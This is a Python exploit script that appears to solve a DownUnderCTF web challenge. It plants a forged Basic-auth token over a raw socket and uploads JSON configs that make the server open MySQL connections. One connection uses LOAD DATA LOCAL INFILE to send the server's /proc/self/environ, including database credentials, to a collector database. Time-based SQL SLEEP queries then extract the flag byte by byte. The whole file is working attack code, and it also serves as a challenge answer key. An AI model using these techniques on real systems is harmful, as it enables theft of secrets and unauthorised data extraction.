import argparse, base64, json, socket, time

import pymysql
import requests


def plant_token(host, port):
    token = base64.b64encode(b"mr:fatmonke@127.0.0.1:6379/hacker-user#\n").decode()
    request = (
        f"SET / HTTP/1.1\r\nHost: 127.0.0.1:1337\r\n"
        f"Authorization: Basic {token}\r\nContent-Length: 0\r\n"
        "Connection: close\r\n\r\n"
    ).encode()
    with socket.create_connection((host, port), timeout=4) as sock:
        sock.sendall(request)
        try:
            sock.recv(4096)
        except OSError:
            pass
    time.sleep(0.35)


def mysql_config(host, user, password, database, **options):
    return {"type": "Mysql2::Client", "arg": {
        "host": host, "port": 3306, "username": user,
        "password": password, "database": database, **options,
    }}


def run_configs(session, url, login, configs, fd, timeout):
    files = [
        (f"file{i}", (f"config{i}.json", json.dumps(c).encode(), "application/json"))
        for i, c in enumerate(configs)
    ]
    response = session.post(url + "/upload", files=files, auth=login, timeout=timeout)
    if response.status_code not in (400, 404):
        raise RuntimeError(f"upload failed: HTTP {response.status_code}")

    times = []
    for _ in configs:
        for n in range(fd, fd + 32):
            start = time.monotonic()
            response = session.post(
                url + "/", json={"config": f"/proc/self/fd/{n}"},
                auth=login, timeout=timeout,
            )
            elapsed = time.monotonic() - start
            if response.status_code == 200:
                times.append(elapsed)
                fd = n + 1
                break
        else:
            raise RuntimeError("config not found; adjust --first-fd")
    return times, fd


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=31341)
    parser.add_argument("--first-fd", type=int, default=13)
    args = parser.parse_args()

    plant_token(args.host, args.port)
    url = f"http://{args.host}:{args.port}"
    login = ("/hacker-user", "HTTP/1.1")
    session = requests.Session()
    collector = pymysql.connect(
        host="127.0.0.1", port=33306, user="exfil",
        password="exfil-pass", database="exfil",
    )
    with collector.cursor() as cursor:
        cursor.execute("TRUNCATE TABLE leaks")
    collector.commit()

    leak = mysql_config(
        "collector", "exfil", "exfil-pass", "exfil",
        local_infile=True,
        init_command="LOAD DATA LOCAL INFILE '/proc/self/environ' INTO TABLE leaks",
    )
    _, fd = run_configs(session, url, login, [leak], args.first_fd, 5)
    time.sleep(0.25)
    with collector.cursor() as cursor:
        cursor.execute("SELECT data FROM leaks")
        rows = cursor.fetchall()
    if not rows:
        raise RuntimeError("collector received no environment row")
    env = rows[-1][0].decode("latin1")
    values = dict(item.split("=", 1) for item in env.split("\0") if "=" in item)

    user, password = values["DB_USER"], values["DB_PASSWORD"]
    database, delay = "off_dah_rails_m8_production", 0.04
    configs = [mysql_config(
        "127.0.0.1", user, password, database,
        init_command="SELECT SLEEP(0) FROM flag",
    )]
    for position in range(7, 17, 2):
        query = (
            "SELECT SLEEP(CAST(CONV(SUBSTRING(flag, "
            f"{position}, 2), 16, 10) AS UNSIGNED) * {delay}) FROM flag"
        )
        configs.append(mysql_config(
            "127.0.0.1", user, password, database, init_command=query,
        ))

    times, _ = run_configs(session, url, login, configs, fd, delay * 256 + 5)
    baseline, suffix = times[0], ""
    for elapsed in times[1:]:
        value = int((elapsed - baseline) / delay + 0.15)
        if not 0 <= value <= 255:
            raise RuntimeError(f"invalid timing value: {value}")
        suffix += f"{value:02x}"
    print(f"DUCTF{{{suffix}}}")
    collector.close()


if __name__ == "__main__":
    main()